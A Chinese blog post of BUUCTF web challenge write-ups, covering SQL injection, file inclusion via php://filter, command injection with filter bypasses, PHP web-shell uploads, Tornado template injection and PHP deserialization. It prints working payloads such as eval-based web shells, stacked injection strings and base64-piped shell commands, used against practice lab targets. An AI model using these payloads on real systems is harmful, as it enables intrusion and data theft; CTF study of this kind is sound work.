IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> buuctf web 详解(持续更新) -> 正文阅读

[PHP知识库]buuctf web 详解(持续更新)

[HCTF 2018]WarmUp

题目类型:PHP代码审计
在这里插入图片描述
查看源码,发现有一个source.php文件
在这里插入图片描述
查看此文件,出现一堆PHP代码
在这里插入图片描述
发现里面有一个hint.php文件,查看一下
在这里插入图片描述
文件里说明flag在ffffllllaaaagggg里
在这里插入图片描述

  • 代码审计
    is_string():检测变量是否是字符串
    isset():检测变量是否已设置并且非 NULL
    in_array(要搜索的值,要搜索的数组):搜索数组中是否存在指定的值
    mb_substr($page,n,m):返回page中从第n位开始,到n+m位字符串的值
    mb_strpos():查找字符串在另一个字符串中首次出现的位置
    urldecode():将url编码后的字符串还原成未编码的样子
 <?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            //如果page的值为空或者不是字符串
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }
			//检测page的值是否在白名单中
            if (in_array($page, $whitelist)) {
                return true;
            }
			//返回page中从第0位开始到第一个?出现的位置,之间的值赋给page
            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')//查找字符串在另一个字符串中首次出现的位置
            );
            //检验page的值是否在白名单内
            if (in_array($_page, $whitelist)) {
                return true;
            }
			//将url编码后的字符串还原成未编码的样子,然后赋值给page
            $_page = urldecode($page);
            //返回page中从第0位开始到第一个?出现的位置,之间的值赋给page
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')//查找字符串在另一个字符串中首次出现的位置
            );
            //检验page的值是否在白名单内
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }
	
    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?> 

[极客大挑战 2019]EasySQL

题目类型:简单的SQL注入
直接万能密码
在这里插入图片描述

[极客大挑战 2019]Havefun

题目类型:代码审计
在这里插入图片描述查看源代码

</div>
                <!--
        $cat=$_GET['cat'];
        echo $cat;
        if($cat=='dog'){
            echo 'Syc{cat_cat_cat_cat}';
        }
        -->
      <div style="position: absolute;bottom: 0;width: 99%;"><p align="center" style="font:italic 15px Georgia,serif;color:black;"> Syclover @ cl4y</p></div>
      </body>
</html>

代码审计
有一个cat变量,通过get方式传参,如果cat=dog输出flag
使用构造payload:/?cat=dog

在这里插入图片描述

[强网杯 2019]随便注

题目类型:SQL注入
本题要有SQL语法基础:SQL通用语法
在这里插入图片描述在这里插入图片描述在这里插入图片描述
查询3时报错,说明有两个字段

然后想尝试联合查询
结果报错return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
发现过滤了select|update|delete|drop|insert|where|\./i
爆数据库:1';show databases;#
在这里插入图片描述
爆表名:1'; show tables;#
在这里插入图片描述
出来两个表
1'; show columns from words;#
在这里插入图片描述

1'; show columns from '1919810931114514';#
注意:表名为数字时,要用反引号包起来查询。
在这里插入图片描述
发现1919810931114514表中有flag

接下来的参考大佬们的方法
大佬文章里总结了三种方法,第一种比较好理解,其他两种怪我太菜看不太明白

  • 通过 rename 先把 words 表改名为其他的表名。
  • 把 1919810931114514 表的名字改为 words 。
  • 给新 words 表添加新的列名 id 。
  • 将 flag 改名为 data 。
    1'; rename table words to word1; rename table '1919810931114514' to words;alter table words add id int unsigned not Null auto_increment primary key; alert table words change flag data varchar(100);#

[ACTF2020 新生赛]Include

题目类型:文件包含、PHP封装协议
在这里插入图片描述
点击链接

在这里插入图片描述
出现了flag.php文件,?file=flag.php 猜测文件包含漏洞,此时就要想办法查看这个文件,那怎样来查看呢,下面是我学到的一个方法

重要的知识点——PHP封装协议:
php://filter/read=convert.base64-encode/resource=xxx.php
php://filter 是php中独有的一个协议,可以作为一个中间流来处理其他流,可以进行任意文件的读取;根据名字filter,可以很容易想到这个协议可以用来过滤一些东西; 使用不同的参数可以达到不同的目的和效果:
resource=<要过滤的数据流> 指定了你要筛选过滤的数据流。 必选
read=<读链的筛选列表>可以设定一个或多个过滤器名称,以管道符(|)分隔。 可选
write=<写链的筛选列表> 可以设定一个或多个过滤器名称,以管道符(|)分隔。 可选
<;两个链的筛选列表> 任何没有以 read= 或write=作前缀 的筛选器列表会视情况应用于读或写链。
php://filter与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,阻止其不执行。从而导致任意文件读取。
read=convert.base64-encode,用base64编码输出,不然会直接当做php代码执行,看不到源代码内容。

  • php://filter协议,用base64编码的方式来读文件flag.php;这时页面会显示出源文件flag.php经过base64编码后的内容,然后经过base64解码就可以看到flag;

  • payload: /?file=php://filter/read=convert.base64-encode/resource=flag.php

  • 得到base64编码后的内容为:
    PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7Y2U4MzdmMmYtYjI2Mi00ZDYxLWEzOWQtOTE4OWIwYmM0ODZkfQo=

  • 接着base64解码:

    <?php
    echo "Can you find out the flag?";
    //flag{ce837f2f-b262-4d61-a39d-9189b0bc486d}
    
    
  • 得到flag~~

我们再以这种方法查看一下index.php文件

<meta charset="utf8">
<?php
// 关闭错误报告
error_reporting(0);
//以get方式传参
$file = $_GET["file"];
//stristr() 函数搜索字符串在另一字符串中的第一次出现,并返回字符串的剩余部分。
//一下if语句过滤了"php://input" 、 "zip://" 、 "phar://" 、 "data:"
if(stristr($file,"php://input") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){
	exit('hacker!');
}
if($file){
	include($file);
}else{
	echo '<a href="?file=flag.php">tips</a>';
}
?>

[SUCTF 2019]EasySQL

在这里插入图片描述
先判断一下是数字型还是字符型,输入1
在这里插入图片描述
OK,有回显;然后各种试试试,都是nonono

还好,试了一下堆叠注入
爆出数据库:1;show databases;#
在这里插入图片描述爆表:1;show tables;#
在这里插入图片描述然后爆字段:1;show columns from FLAG;#,输入后回显Nonono.,猜测有被过滤
总之试了好多,搞得我又双叒叕不会了,唉···

下面是学习众多大佬的方法
不知道大佬们怎么猜测出查询语句为:select ".$post['query']."||flag from Flag
由于本题没有过滤*,用*查询flag中的所有字段,所以直接构造payload为:*,1
在这里插入图片描述
就是这么神奇

[极客大挑战 2019]Secret File

在这里插入图片描述
查看源码

<!DOCTYPE html>

<html>

<style type="text/css" >
#master {
    position:absolute;
    left:44%;
    bottom:0;
    text-align :center;
        }
        p,h1 {
                cursor: default;
        }
</style>

        <head>
                <meta charset="utf-8">
                <title>蒋璐源的秘密</title>
        </head>

        <body style="background-color:black;"><br><br><br><br><br><br>

            <h1 style="font-family:verdana;color:red;text-align:center;">你想知道蒋璐源的秘密么?</h1><br><br><br>

            <p style="font-family:arial;color:red;font-size:20px;text-align:center;">想要的话可以给你,去找吧!把一切都放在那里了!</p>
            <a id="master" href="./Archive_room.php" style="background-color:#000000;height:70px;width:200px;color:black;left:44%;cursor:default;">Oh! You found me</a>
            <div style="position: absolute;bottom: 0;width: 99%;"><p align="center" style="font:italic 15px Georgia,serif;color:white;"> Syclover @ cl4y</p></div>
        </body>
</html>

有这样一行代码<a id="master" href="./Archive_room.php" style="background-color:#000000;height:70px;width:200px;color:black;left:44%;cursor:default;">Oh! You found me</a>
进入这个目录查看一下
在这里插入图片描述
点击secret
在这里插入图片描述
提示查阅结束,返回上个目录,查看一下源码
在这里插入图片描述此时也没有什么发现,抓个包试了试

在这里插入图片描述
这里提示secr3t.php,我们进入这个目录看一下
在这里插入图片描述
这里提示flag放在了flag.php里,进入falg.php目录
在这里插入图片描述还是没有出现flag,找到了但是看不到,此时又想到了PHP的封装协议,我们用一下 [ACTF2020 新生赛]Include里面使用的方法

构造payload: /secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php

<!DOCTYPE html>

<html>

    <head>
        <meta charset="utf-8">
        <title>FLAG</title>
    </head>

    <body style="background-color:black;"><br><br><br><br><br><br>
        
        <h1 style="font-family:verdana;color:red;text-align:center;">啊哈!你找到我了!可是你看不到我QAQ~~~</h1><br><br><br>
        
        <p style="font-family:arial;color:red;font-size:20px;text-align:center;">
            <?php
                echo "我就在这里";
                $flag = 'flag{24db537d-9661-4a16-98c8-5c9df4c936fc}';
                $secret = 'jiAng_Luyuan_w4nts_a_g1rIfri3nd'
            ?>
        </p>
    </body>

</html>

成功找到flag~~

[ACTF2020 新生赛]Exec

[GXYCTF2019]Ping Ping Ping题类似,但此题更简单

需要了解的知识点
ls(英文全拼:list files):用于显示指定工作目录下的内容(列出目前工作目录所含之文件及子目录)

cat(英文全拼:concatenate):用于连接文件并打印到标准输出设备上。

在这里插入图片描述
查看此文件的目录:127.0.0.1|ls
在这里插入图片描述
只有一个index.php

查看上级目录127.0.0.1|ls /
在这里插入图片描述
查看flag:127.0.0.1|cat /flag
在这里插入图片描述
拿到flag~~

[极客大挑战 2019]LoveSQL

在这里插入图片描述这里提示用 sqlmap 是没有灵魂的,他说没灵魂,可我就是想试一下,结果确实没有灵魂,奉劝像我一样有叛逆心理的师傅们还是不要浪费时间试了······

听话孩子的解法:
先随便输入一个万能密码
在这里插入图片描述
找到回显位置
在这里插入图片描述
试试联合查询,一直到3的时候回显正常
在这里插入图片描述
2和3有回显位置
在这里插入图片描述在这里插入图片描述

输入用户名为1
爆数据库password=:1' union select 1,2,database()#
在这里插入图片描述
得到数据库名为geek
爆表名password=1' union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1#——爆出表名为geekuser
爆表名password=1' union select 1,2,table_name from information_schema.tables where table_schema=database() limit 1,1#——爆出表名为l0ve1ysq1
爆列名password=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1' #——id,username,password
在这里插入图片描述
爆数据:/check.php?username=1&password=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23
在这里插入图片描述咦?最后这里有点像flag的一部分,怎么就出来这点?缩小一下看看

在这里插入图片描述呐,不能再小了;嘻嘻,直接F12呗

在这里插入图片描述拿到flag~~

[GXYCTF2019]Ping Ping Ping

具体知识点点这里
题目类型:命令执行+代码审计
在这里插入图片描述
提示/?ip=

输入/?ip=127.0.0.1,回显成功
在这里插入图片描述
显示当前的所有文件:/?ip=127.0.0.1|ls

在这里插入图片描述这里查到了两个php文件
查看flag.php:?ip=127.0.0.1|cat flag.php

在这里插入图片描述这里提示/?ip= fxck your space!额···fxck是什么东西,space是空格,大佬说应该是空格被过滤了

命令中空格被过滤的解决方法:
{cat,flag.txt}
cat${IFS}flag.txt
cat$IFS$9flag.txt: $IFS$9 $9指传过来的第9个参数
cat<flag.txt
cat<>flag.txt
kg=$'\x20flag.txt'&&cat$kg
(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)

试试第一个方法:/?ip=127.0.0.1|{cat,flag.php}
在这里插入图片描述发现符号又被过滤了,说明{}大括号被过滤了,那第二个不能用了
试试第三个方法/?ip=127.0.0.1|cat$IFS$9flag.php
在这里插入图片描述flag也被过滤了!

不是查出来两个文件嘛,看看另一个吧
查看index.php文件:/?ip=127.0.0.1|cat$IFS$9index.php
在这里插入图片描述发现这个PHP代码好像不太全,我们查看一下源码,出来了,下面是PHP代码

<?php
if(isset($_GET['ip'])){
  $ip = $_GET['ip'];
  if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);//执行操作符 ,-c 4 表示ping的指定次数为4
  echo "<pre>";
  print_r($a);
}

?>

代码审计一下,好多都被过滤了emmm;但最后有个变量a,我也不知道怎么做
不会了,学一下大佬的方法吧

  • 方法一:变量拼接字符串——将a的值覆盖,然后进行绕过
    构造payload:/?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php
    总之就是用变量拼接成flag
    在这里插入图片描述啥也没有,查看源码

    /?ip=
    <pre>PING 127.0.0.1 (127.0.0.1): 56 data bytes
    <?php
    $flag = "flag{af15354a-6bdf-4609-b230-75bdc03e1dbf}";
    ?>
    
    

    拿到flag~~

  • 方法二:内联执行
    内联函数:将指定的函数体插入并取代每一处调用该函数的地方。

    反引号在linux中作为内联执行,执行输出结果。也就是说

    cat `ls` //执行ls输出 index.php 和 flag.php 。然后再执行 cat flag.php;cat index.php

    构造payload /?ip=127.0.0.1;cat$IFS$9`ls`
    在这里插入图片描述
    方法三:sh命令来执行
    使用 base64 编码的方式来绕过 flag 过滤。

    加密命令
    echo “cat flag.php” | base64
    解密命令并执行
    echo Y2F0IGZsYWcucGhwCg== | base64 -d | sh

然后用$IFS$9代替空格。
构造payload:/?ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhwCg==$IFS$9|$IFS$9base64$IFS$9-d$IFS$9|$IFS$9sh
在这里插入图片描述 拿到flag~~

[极客大挑战 2019]Knife

在这里插入图片描述很明显的提示,用中国菜刀或者蚁剑,这里我使用蚁剑

构造payload:/?<?php eval($_POST["Syc"]);?>

打开蚁剑添加数据
URL地址为:http://094fc751-45ef-4f6e-961d-daee474ee7b4.node4.buuoj.cn/index.php
密码为:Syc
在这里插入图片描述

用蚁剑查看目录
在这里插入图片描述查看根目录,找到flag
在这里插入图片描述进入flag文件夹里
在这里插入图片描述
拿到flag~~

[极客大挑战 2019]Http

在这里插入图片描述在这里插入图片描述

查看源代码,发现有一个Secret.php
在这里插入图片描述

进入这个访问该目录
在这里插入图片描述提示:It doesn’t come from ‘https://www.Sycsecret.com’,也就是说这个页面得来自https://www.Sycsecret.com,添加referer即可

Referer头用于告诉web服务器,用户是从哪个页面找过来的

在这里插入图片描述
提示Please use “Syclover” browser:请使用“Syclover”浏览器
添加User-Agent:Syclover

User-Agent头用于告诉web服务器用户使用的浏览器和操作系统信息

在这里插入图片描述提示No!!! you can only read this locally!!!:不! !您只能在本地阅读!!
添加X-Forwarded-For:127.0.0.1
在这里插入图片描述拿到flag~~

[RoarCTF 2019]Easy Calc

对我来说是一道难题,不过又学到好多
在这里插入图片描述
查看源码
在这里插入图片描述
抓包
在这里插入图片描述发现calc.php,访问一下
在这里插入图片描述有个黑名单

OKOK,上面是我所有收集到的信息,然后源码有部分也看不懂,不知道该怎么下手,甚至还不知道这是个什么类型的题目,下面开始学习大佬

知识点:

  • chr() 函数:从指定的 ASCII 值返回字符。 ASCII 值可被指定为十进制值、八进制值或十六进制值。八进制值被定义为带前置0,而十六进制值被定义为带前置 0x。
  • file_get_contents() 函数:把整个文件读入一个字符串中。该函数是用于把文件的内容读入到一个字符串中的首选方法。如果服务器操作系统支持,还会使用内存映射技术来增强性能。
  • PHP的字符串解析特性:PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:1.删除空白符 2.将某些字符转换为下划线(包括空格)【当waf不让你过的时候,php却可以让你过】。假如waf不允许num变量传递字母,可以在num前加个空格,这样waf就找不到num这个变量了,因为现在的变量叫“ num”,而不是“num”。但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。
  • scandir() 函数:返回指定目录中的文件和目录的数组。

查看源码
在这里插入图片描述
$("#content").val()相当于 document.getElementById(“content”).value;

  • 方法一:PHP的字符串解析特性
    尝试一下/calc.php?num=phpinfo()
    在这里插入图片描述

    PHP的字符串解析特性:PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:1.删除空白符 2.将某些字符转换为下划线(包括空格)【当waf不让你过的时候,php却可以让你过】。假如waf不允许num变量传递字母,可以在num前加个空格,这样waf就找不到num这个变量了,因为现在的变量叫“ num”,而不是“num”。但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。

    num前加个空格:/calc.php? num=phpinfo()
    在这里插入图片描述
    由于“/”被过滤了,所以我们可以使用chr(47)来进行表示,进行目录读取:
    calc.php? num=1;var_dump(scandir(chr(47)))
    在这里插入图片描述
    构造:/flagg——chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)
    payload:calc.php? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
    在这里插入图片描述

  • 方法二:http走私攻击
    构造:/flagg——chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)
    payload:/calc.php?num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
    在这里插入图片描述

[极客大挑战 2019]Upload

在这里插入图片描述
创建一个木马文件,以便后续用蚁剑链接
文件内容为

GIF89a
<script language="php">eval($_POST['a']);</script> 

在这里插入图片描述可绕过的后缀名检测:php,php3,php4,php5,phtml.pht

上传此文件,然后提示Not image!
在这里插入图片描述

用burpsuite抓包,根据提示,修改Content-Type的内容为 image/jpeg
在这里插入图片描述

URL地址为:/upload/a.phtml
连接密码为:a
在这里插入图片描述

在这里插入图片描述
找到flag文件
在这里插入图片描述
在这里插入图片描述
拿到flag~~

[极客大挑战 2019]PHP

具体知识点点这里
题目类型:序列化与反序列化

在这里插入图片描述
这儿提示备份网站,用dirsearch扫一下后台目录
输入:python dirsearch.py -u http://9b76aef7-3183-4da4-a909-0f95ad5b6607.node4.buuoj.cn -e php
在这里插入图片描述
找到www.zip,访问一下在这里插入图片描述
跳出弹窗,点击下载

在这里插入图片描述
发现有flag.php目录
在这里插入图片描述

<?php
$flag = 'Syc{dog_dog_dog_dog}';
?>

无用信息
查看index.php源码,
在这里插入图片描述
发现包含class.php文件,采用get传参select,还有个php反序列化函数unserialize()

查看另一个文件class.php
在这里插入图片描述
查看源码
在这里插入图片描述

发现有输出flag的条件,接下来代码审计

<?php
include 'flag.php';
error_reporting(0);
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';
	//创建对象时触发
    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
	//使用unserialize时触发
    function __wakeup(){
        $this->username = 'guest';
    }
	//对象被销毁时触发
	//如果password=100,username=admin,在执行__destruct()的时候可以获得flag
    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();       
        }
    }
}
?>

通过反序列化来执行destruct函数,如果password=100,username=admin,可以获得flag

构造序列化

<?php

class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
}
$a = new Name('admin', 100);
var_dump(serialize($a));

?>

在这里插入图片描述

接着执行反序列化,执行之前限制性wakeup函数,但是__wakeup函数会修改username的值,所以一个想办法绕过wakeup
绕过方法:当成员属性数目大于实际数目时可绕过wakeup方法(CVE-2016-7124)

  • 方法一:用序列化加%00
    private:属性被序列化的时候属性名会变成%00类名%00属性名,长度跟随属性名长度而改变。加%00的目的就是用于替代\0

    O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
    
    

    构造payload:/?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}
    在这里插入图片描述

  • 方法二:直接url编码

    <?php
    
    class Name{
        private $username = 'nonono';
        private $password = 'yesyes';
    
        public function __construct($username,$password){
            $this->username = $username;
            $this->password = $password;
        }
    }
    $a = new Name('admin', 100);
    var_dump(serialize($a));
    var_dump(urlencode(serialize($a)));//进行url编码,防止%00对应的不可打印字符在复制时丢失
    ?>
    

    在这里插入图片描述

[护网杯 2018]easy_tornado

首先出来三个链接
在这里插入图片描述查看flag.txt
在这里插入图片描述提示flag在/fllllllllllllag中
OK,知道了第一个条件,filename=/fllllllllllllag
查看welcome.txt
在这里插入图片描述查看hints.txt
在这里插入图片描述
分析一下
在这里插入图片描述
这里有两个参数,第一个参数filename,文件的名称,我们通过查看flag.txt文件知道,藏flag的文件名为fllllllllllllag;第二个参数filehash,翻译一下:文件哈希,也就是加密了

加密方法在第三个文件中md5(cookie_secret+md5(filename)),将cookie_secret+filename的值md5加密后的值,整体再md5加密;然后把最后的值赋给filehash

现在最重要的一步就是获取cookie_secret的值,这个我不会。看一下大佬们怎么做

在试的过程中,尝试只输入filename的值而忽略filehash,结果出来以下内容,URL变成/error?msg=Error
在这里插入图片描述我们前面忽视了第二个文件内容render。我以为只是个没用的信息,结果一查,还是个挺重要的东西,怪我见得太少

render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页 ,如果用户对render内容可控,不仅可以注入XSS代码,而且还可以通过{{}}进行传递变量和执行简单的表达式。
Tornado是一种 Web 服务器软件的开源版本。Tornado 和现在的主流 Web 服务器框架(包括大多数 Python 的框架)有着明显的区别:它是非阻塞式服务器,而且速度相当快。

以上是我的分析过程,下面看一下大佬的解法

由于是python的一个模板,首先想到的就是模板注入{{}},最终找到的位置是报错网页(随便访问一个文件是更改它的签名就可以进入),里面的参数msg。
render是模板注入,经过测试发现过滤了。构造payload:/error?msg={{1*2}}

在这里插入图片描述

在tornado模板中,存在一些可以访问的快速对象,这里用到的是handler.settings,handler指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向RequestHandler.application.settings了,这里面就是我们的一些环境变量

构造payload/error?msg={{handler.settings}}

在这里插入图片描述
找到cookie_secret为6e6e371d-7445-46db-8066-46e0e25c8b7a

filename的值md5加密后为3bf9f6cf685a6dd8defadabfb41a03a1
cookie_secret+filename加密后的值为9ff081746c35f525a315a313ac1a00d8
构造payload:/file?filename=/fllllllllllllag&filehash=9ff081746c35f525a315a313ac1a00d8

在这里插入图片描述

[ACTF2020 新生赛]Upload

题目类型:文件上传,一句话木马
在这里插入图片描述
上传一句话木马<?php eval($_POST[a]);?>,修改后缀名为.jpg
在这里插入图片描述

burpsuite抓包,修改后缀名
在这里插入图片描述
知道修改为.phtml后显示上传成功
在这里插入图片描述

使用蚁剑连接,URL地址为:http://848a2803-bdd9-4890-be0e-526c8ce1433f.node4.buuoj.cn:81/./uplo4d/71056c0c9cb12f2b7d720156da9eabf1.phtml
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
拿到flag~~

[极客大挑战 2019]BabySQL

题目类型:SQL注入
在这里插入图片描述

输入用户名为admin,密码为1'
在这里插入图片描述
由报错信息可知存在SQL注入漏洞
在这里插入图片描述
先试一下常规注入:/check.php?username=admin&password=1' union select 1#
在这里插入图片描述
根据报错信息猜测union 、select可能被过滤了,试一下双写绕过
/check.php?username=admin&password=1' ununionion seselectlect 1#
在这里插入图片描述
继续报错,URL编码试一下,然后试列数
payload:/check.php?username=admin&password=1' ununionion seselectlect 1,2,3%23
在这里插入图片描述

出现回显位置2和3

爆数据库:/check.php?username=admin&password=1' ununionion seselectlect 1,2,group_concat(schema_name)frfromom(infoorrmation_schema.schemata) %23

在这里插入图片描述
猜测flag在ctf里
爆表:/check.php?username=admin&password=1' ununionion seselectlect 1,2, group_concat(table_name)frfromom(infoorrmation_schema.tables) whwhereere table_schema="ctf" %23
在这里插入图片描述
查字段名:/check.php?username=admin&password=pwd ' ununionion seselectlect 1,2,group_concat(column_name) frfromom (infoorrmation_schema.columns) whwhereere table_name="Flag"%23
在这里插入图片描述
/check.php?username=admin&password=pwd ' ununionion seselectlect 1,2,group_concat(flag) frfromom(ctf.Flag)%23

在这里插入图片描述

[ACTF2020 新生赛]BackupFile

题目类型:备份文件

  • 知识点

    • ==是不判断二者是否是同一数据类型,而===是更为严格的比较,它不仅要求二者值相等,而且还要求它们的数据类型也相同。
    • 常见的备份文件后缀:.rar .zip .7z .tar .gz .bak .swp .txt .html
    • is_numeric函数用于检测变量是否为数字或数字字符串
    • intval() 函数用于获取变量的整数值
    • 数字 加 字母等非数字转换

      var s = ‘234string’;
      parseInt(s); //234
      parseFloat(s); //234.0

  • 解题步骤
    在这里插入图片描述

    用dirsearch扫一下目录:python dirsearch.py -u 3943f78f-4c3d-4d7c-8728-9f59f4527095.node4.buuoj.cn:81 -e php
    在这里插入图片描述
    访问index.php.bak
    在这里插入图片描述
    出现PHP代码

    <?php
    include_once "flag.php";
    
    if(isset($_GET['key'])) {
        $key = $_GET['key'];
        //is_numeric函数用于检测变量是否为数字或数字字符串
        if(!is_numeric($key)) {
            exit("Just num!");
        }
        //intval() 函数用于获取变量的整数值
        $key = intval($key);
        $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
        if($key == $str) {
            echo $flag;
        }
    }
    else {
        echo "Try to find out source file!";
    }
    
    
    

    代码审计:通过key变量get传参,要求此变量必须是数字,且取整数之后值为123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3
    取key的值为123 在这里插入图片描述

[极客大挑战 2019]BuyFlag

在这里插入图片描述

在这里插入图片描述
查看源码
在这里插入图片描述
代码审计:以post方式传参,money=100000000,password满足等于404,但是不能为数字,所以password等于404+任意字符
使用burpsuite抓包

总结一下需要满足四个条件:前面提示必须是cuit的学生以post方式传参money=100000000password=404a

所以修改cookie里的user=0user=1

在这里插入图片描述

password=404a&money=100000000
在这里插入图片描述这里提示数字太长
password=404a&money=1e9
在这里插入图片描述

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-08-13 11:42:08  更:2021-08-13 11:43:06 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/13 5:18:40-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码